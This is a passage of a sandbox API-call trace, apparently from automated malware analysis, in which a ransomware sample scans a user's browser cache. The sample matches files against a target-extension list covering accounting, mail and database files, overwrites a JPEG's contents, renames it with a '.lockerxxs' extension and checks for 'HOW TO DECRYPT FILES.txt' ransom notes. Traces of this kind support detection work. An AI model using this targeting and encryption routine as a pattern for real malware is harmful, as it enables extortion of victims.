Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.351] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEfBrz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.ems") returned 0 [0083.352] lstrlenA (lpString="*.ems") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.db") returned 0 [0083.352] lstrlenA (lpString="*.db") returned 4 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.dbf") returned 0 [0083.352] lstrlenA (lpString="*.dbf") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.myox") returned 0 [0083.352] lstrlenA (lpString="*.myox") returned 6 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.myo") returned 0 [0083.352] lstrlenA (lpString="*.myo") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbw") returned 0 [0083.352] lstrlenA (lpString="*.qbw") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbb") returned 0 [0083.352] lstrlenA (lpString="*.qbb") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbm") returned 0 [0083.352] lstrlenA (lpString="*.qbm") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbo") returned 0 [0083.352] lstrlenA (lpString="*.qbo") returned 5 [0083.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbx") returned 0 [0083.352] lstrlenA (lpString="*.qbx") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qba") returned 0 [0083.353] lstrlenA (lpString="*.qba") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qby") returned 0 [0083.353] lstrlenA (lpString="*.qby") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qbj") returned 0 [0083.353] lstrlenA (lpString="*.qbj") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.ofx") returned 0 [0083.353] lstrlenA (lpString="*.ofx") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.qif") returned 0 [0083.353] lstrlenA (lpString="*.qif") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.mye") returned 0 [0083.353] lstrlenA (lpString="*.mye") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.mbox") returned 0 [0083.353] lstrlenA (lpString="*.mbox") returned 6 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.eml") returned 0 [0083.353] lstrlenA (lpString="*.eml") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.pst") returned 0 [0083.353] lstrlenA (lpString="*.pst") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.ost") returned 0 [0083.353] lstrlenA (lpString="*.ost") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.idx") returned 0 [0083.353] lstrlenA (lpString="*.idx") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.dbx") returned 0 [0083.353] lstrlenA (lpString="*.dbx") returned 5 [0083.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.sql") returned 0 [0083.354] lstrlenA (lpString="*.sql") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.mdb") returned 0 [0083.354] lstrlenA (lpString="*.mdb") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.fdb") returned 0 [0083.354] lstrlenA (lpString="*.fdb") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.wab") returned 0 [0083.354] lstrlenA (lpString="*.wab") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.dat") returned 0 [0083.354] lstrlenA (lpString="*.dat") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.txt") returned 0 [0083.354] lstrlenA (lpString="*.txt") returned 5 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.jpeg") returned 0 [0083.354] lstrlenA (lpString="*.jpeg") returned 6 [0083.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", pszSpec="*.jpg") returned 1 [0083.354] lstrlenA (lpString="*.jpg") returned 5 [0083.354] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" [0083.354] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" [0083.354] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg." [0083.354] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.lockerxxs" [0083.354] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.355] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2619 [0083.355] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45bc29d0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.355] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.355] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x25f3, lpOverlapped=0x0) returned 1 [0083.357] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg") returned="BBEfBrz[1].jpg" [0083.357] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.357] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x25f3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x25f3, lpOverlapped=0x0) returned 1 [0083.358] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.358] CloseHandle (hObject=0xa4) returned 1 [0083.358] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg.lockerxxs")) returned 1 [0083.359] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b76710, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b76710, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b76710, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1f84, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfXl6[1].jpg", cAlternateFileName="BBEFXL~1.JPG")) returned 1 [0083.359] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.359] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfXl6[1].jpg") returned 1 [0083.359] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfXl6[1].jpg") returned 1 [0083.359] lstrcmpiA (lpString1="", lpString2="BBEfXl6[1].jpg") returned -1 [0083.359] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg") returned="BBEfBrz[1].jpg" [0083.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.359] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.359] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.359] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.359] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEfXl6[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" [0083.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.ems") returned 0 [0083.359] lstrlenA (lpString="*.ems") returned 5 [0083.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.db") returned 0 [0083.359] lstrlenA (lpString="*.db") returned 4 [0083.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.dbf") returned 0 [0083.359] lstrlenA (lpString="*.dbf") returned 5 [0083.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.myox") returned 0 [0083.359] lstrlenA (lpString="*.myox") returned 6 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.myo") returned 0 [0083.360] lstrlenA (lpString="*.myo") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbw") returned 0 [0083.360] lstrlenA (lpString="*.qbw") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbb") returned 0 [0083.360] lstrlenA (lpString="*.qbb") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbm") returned 0 [0083.360] lstrlenA (lpString="*.qbm") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbo") returned 0 [0083.360] lstrlenA (lpString="*.qbo") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbx") returned 0 [0083.360] lstrlenA (lpString="*.qbx") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qba") returned 0 [0083.360] lstrlenA (lpString="*.qba") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qby") returned 0 [0083.360] lstrlenA (lpString="*.qby") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qbj") returned 0 [0083.360] lstrlenA (lpString="*.qbj") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.ofx") returned 0 [0083.360] lstrlenA (lpString="*.ofx") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.qif") returned 0 [0083.360] lstrlenA (lpString="*.qif") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.mye") returned 0 [0083.360] lstrlenA (lpString="*.mye") returned 5 [0083.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.mbox") returned 0 [0083.361] lstrlenA (lpString="*.mbox") returned 6 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.eml") returned 0 [0083.361] lstrlenA (lpString="*.eml") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.pst") returned 0 [0083.361] lstrlenA (lpString="*.pst") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.ost") returned 0 [0083.361] lstrlenA (lpString="*.ost") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.idx") returned 0 [0083.361] lstrlenA (lpString="*.idx") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.dbx") returned 0 [0083.361] lstrlenA (lpString="*.dbx") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.sql") returned 0 [0083.361] lstrlenA (lpString="*.sql") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg", pszSpec="*.mdb") returned 0 [0083.361] lstrlenA (lpString="*.mdb") returned 5 [0083.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 